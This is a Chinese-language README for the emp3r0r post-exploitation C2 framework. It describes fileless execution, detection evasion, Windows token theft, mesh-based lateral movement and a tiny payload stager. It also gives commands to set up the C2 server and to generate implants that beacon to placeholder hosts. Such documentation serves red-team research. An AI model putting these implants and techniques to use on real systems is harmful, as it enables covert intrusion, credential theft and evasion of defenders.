
emp3r0r v4.6.1
自愈型 Gossip Mesh C2,具备辅助对等点发现、跨平台 BOF 执行与可脚本化代理。
emp3r0r
自愈式 Gossip 网格 C2,支持辅助对等节点发现、跨平台 BOF 执行和可脚本化代理。
emp3r0r 是什么?
emp3r0r 是一个高级的零信任后渗透利用框架和命令与控制(C2)系统,专为 Linux 和 Windows 目标环境设计。emp3r0r 从零开始构建,适用于高安全性环境,结合了自主 gossip 网格组网、无文件纯内存执行、跨平台 BOF 加载、代理间文件传输和内存中可脚本化代理,提供卓越的隐蔽性、操作控制和操作安全(OPSEC)。
核心亮点与独特功能
🐍 可脚本化代理(内嵌 Starlark 引擎与 Win32 API 代理)
emp3r0r 代理内置 Starlark 脚本引擎(一种完全用 Go 实现的 Python 方言)。脚本以无文件方式在内存中执行,无需目标系统安装 Python、Bash 或 PowerShell。
- 零主机依赖: 独立执行脚本,不启动命令解释器(
/bin/sh、powershell.exe),也不依赖已安装的运行时。 - 内置代理 Go API: 暴露文件系统操作(
read_file、write_file、list_dir、mkdir、remove、exists)、HTTP 网络请求(http_get、http_post)、命令执行(exec_cmd)和哈希计算(crypto_hash)等函数。 - 动态 Win32 API 代理: 在 Windows 目标上,Starlark 脚本可动态加载系统 DLL,并直接从脚本代码执行原生 Win32 API(
win_call、win_alloc、win_free、win_read_mem),无需编译原生 C 代码。 - 模块化集成: Starlark 脚本通过 JSON 清单(
config.json)定义,便于 CLI 参数解析和分发。
为何重要: 传统 C2 脚本模块依赖主机解释器或进程派生,会留下大量磁盘或命令行执行痕迹。emp3r0r 的可脚本化代理完全在内存中执行复杂逻辑,并可与系统原生交互。
🔐 TOFU 加密身份绑定
emp3r0r 在代理注册时强制执行 信任首次使用(TOFU) ,并对 UUID 和公钥进行严格绑定。
- 不可变绑定: 代理一旦注册,其 UUID 即与其加密公钥绑定。以更改后的凭据重新注册将被视为冒充尝试而拒绝。
- 受控重置: 注销必须经操作员通过
forget_agent明确授权。
为何重要: 防止会话劫持、代理克隆以及跨操作环境的静默身份漂移。
🔒 完美前向保密(PFS)
所有 C2 和对等通信均强制执行 ECDH 密钥交换,并使用 HKDF 派生的会话密钥。
- 临时密钥: 每个会话都会生成独立的加密密钥。
- 解耦安全性: 即使长期密钥或单个代理被攻破,也无法解密过往或并行的通信。
为何重要: 防止对截获的网络流量进行事后解密。
🕸️ 自主 P2P Gossip 网格网络
处于出口受限或隔离网段中的代理可自主发现对等节点,并通过基于 gossip(Memberlist)的网格网络隧道传输流量。
- 可插拔对等传输: 支持伪装 mTLS 1.3(使用临时证书)和 KCP(可靠 UDP)。
- 端到端加密: 所有代理间的网格跳数均以 AES-GCM 加密封装。
- 低网络足迹: 代理间直接中继,消除不必要的广播噪声和集中式 C2 连接瓶颈。
为何重要: 跨网段横向移动可自主进行,无需操作员持续干预或部署静态代理。
📂 P2P 文件系统
通过 P2P 中继传输(mTLS/KCP)实现代理间直接文件共享,加速内网文件分发。
- 加密 P2P 隧道: 使用 mTLS/KCP 在对等节点间隧道传输文件,绕过出口限制并减少中央 C2 带宽瓶颈。
- 智能内存文件缓存: 文件以加密 blob 形式缓存在代理内存中;可无缝提供给其他代理按需下载。请求文件时,代理先查询本地 memfs,再查询其他对等节点,最后才回源 C2。
- 自动 C2 中继回退: 如果目标对等节点没有所请求的文件,它会按需动态从 C2 服务器获取并流式传输。
为何重要: 代理间直接文件共享可最大化传输速度、绕过网络瓶颈,并降低直接 C2 流量的可见性。
📡 多协议监听器与 Stager
提供灵活的 Stage 0 下载器 stager 和协议监听器,用于初始访问和载荷投递。
- 多协议监听器: 内嵌及独立的 HTTP、TCP 和 UDP 监听器,具备可靠的序列确认帧和自定义 HTTP 配置文件。
- 独立 C 语言下载器 Stager: 使用不依赖 libc 的 Linux 系统调用直接构建,避免各发行版出现符号错误。
- 极小载荷体积: emp3r0r 代理二进制在未压缩时约 20MB,而该 stager 小于 1.5KB;它从 emp3r0r 监听器获取的类 sRDI 载荷约 8MB(由代理二进制以 ELF 共享对象格式压缩而来)。
- 灵活格式: 可编译为原始位置无关 shellcode(
.bin)、独立 ELF 可执行文件或共享对象(.so)。 - 内存加固: 以读写权限分配 stage 内存,去混淆载荷,并在反射执行 Stage 1 前强制切换为读执行权限。
🧩 原生跨平台 BOF 支持(COFF 与 ELF)
在 Windows 和 Linux 目标上均可执行内存中的二进制模块:
- Windows COFF 加载器: 以无文件方式运行 Windows BOF 二进制,支持类型化参数打包(
int、short、cstr、wstr、binary)。 - Linux ELF 对象加载器: 在 Linux 上直接将 ELF 可重定位目标文件(
.o)加载到代理内存中。 - 内置 BOF 套件: 原生支持 Kerbeus-BOF、Remote-OPs 和 Situational Awareness(SA)模块集。
为何重要: 无需创建进程,也无需通过在内进程中运行已编译 C 模块来规避命令行监控。
🔑 按需 Windows Token 操作
Windows 上的代理可以窃取、缓存并模拟运行中进程的访问令牌——完全通过间接 NT 系统调用在进程内完成。
- 窃取与缓存:
steal_token --pid <PID>通过NtOpenProcess+NtDuplicateToken复制进程令牌,并以 SID 形式存储在内存中。可选择通过--token <sid>串联模拟,从一个被窃取身份升级到另一个。 - 枚举:
list_tokens以DOMAIN\User (SID)名称显示所有已缓存令牌。 - 通用模拟: 可在任何模块(Go、Starlark、COFF/BOF)中通过 SID 引用缓存令牌(
--token <sid>)。敏感操作会在线程级别应用模拟(NtSetInformationThread)。 - Token 感知的 Starlark: 内置函数(
read_file、write_file、exec_cmd、Win32 API 代理等)在设置令牌后会自动按系统调用级别模拟身份,exec_cmd可通过CreateProcessWithTokenW在被盗身份下派生子进程。
为何重要: 无需外部工具、无磁盘痕迹、无进程创建噪音。令牌窃取和重用完全通过间接系统调用在进程内完成,且被盗令牌可立即被所有内置模块使用。
🎭 可插拔 C2 传输、uTLS JA3 规避与 CBOR 协议
- 可插拔 C2 模式: 灵活的信标轮询(
http_poll),支持可变形 HTTP 配置文件,以及基于 HTTP/2 的流式传输(h2conn)。 - JA3 签名随机化: 利用 uTLS 随机化 TLS Client Hello 指纹,突破静态网络签名检测。
- 二进制线协议: 所有控制数据和线序列化均使用 CBOR(简洁二进制对象表示),相比 JSON 可减少 30-40% 的网络载荷体积。
💾 加密内存优先存储
- 内存加密虚拟文件系统: 所有代理文件操作均使用内存 AES-GCM 虚拟文件系统。大数据会自动溢出到加密磁盘存储,且没有可识别的文件头或扩展名。
- P2P 驱动的智能缓存: 每个启用 P2P 的代理都会将从 C2 获取的文件缓存在 memfs 中,并供其他对等节点使用,从而在利用快速代理间连接的同时最小化 C2 流量足迹。
快速开始
1. C2 服务器安装
构建 emp3r0r 需要在主机上安装 Docker 或 Podman。无需本地 Go 工具链。
# 克隆仓库
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
# 在容器内构建并安装到本地
./install.sh
安装程序会在一次性容器中编译核心二进制,生成预编译的 emp3r0r-operator-kit.tar.zst,配置所需的 Linux 能力(setcap),并设置系统运行时目录。
选项:
./install.sh [--debug] [--disable-garble] [--prefix /usr/local] [--skip-build]
启动 C2 服务器:
emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
注意:如果使用 root 用户而不是标准 sudo 安装,你的当前用户可能无法启动 emp3r0r,因为安装程序无法正确设置权限。操作员机器同样如此。
2. 操作员机器设置
将生成的 emp3r0r-operator-kit.tar.zst 传输到操作员机器并运行安装程序:
tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.sh
使用服务器打印的 WireGuard 隧道凭据将操作员客户端连接到 C2 服务器:
emp3r0r client --c2-port 13377 \
--server-wg-key '<SERVER_WG_KEY>' \
--server-wg-ip '<SERVER_WG_IP>' \
--operator-wg-ip '<OPERATOR_WG_IP>' \
--operator-wg-key '<OPERATOR_WG_KEY>' \
--c2-host 1.2.3.4
3. 生成代理载荷
在 emp3r0r 操作员界面中使用 generate 命令创建载荷。
直连 C2 代理:
generate --type linux_executable --arch amd64 --cc your.domain.com
Mesh 网关代理:
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --direct-c2 --p2p-transport mtls
Mesh 中间对等节点:
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport mtls --peers 1.2.3.4
文档与资源
- 📝 安全策略: SECURITY.md
- 📜 更新日志: CHANGELOG.md
- 🛠️ 模块开发指南: core/modules/module_development_guide.md
支持开发
如果 emp3r0r 对你的安全研究和测试确有价值,请考虑通过 GitHub Sponsors 支持其持续开发。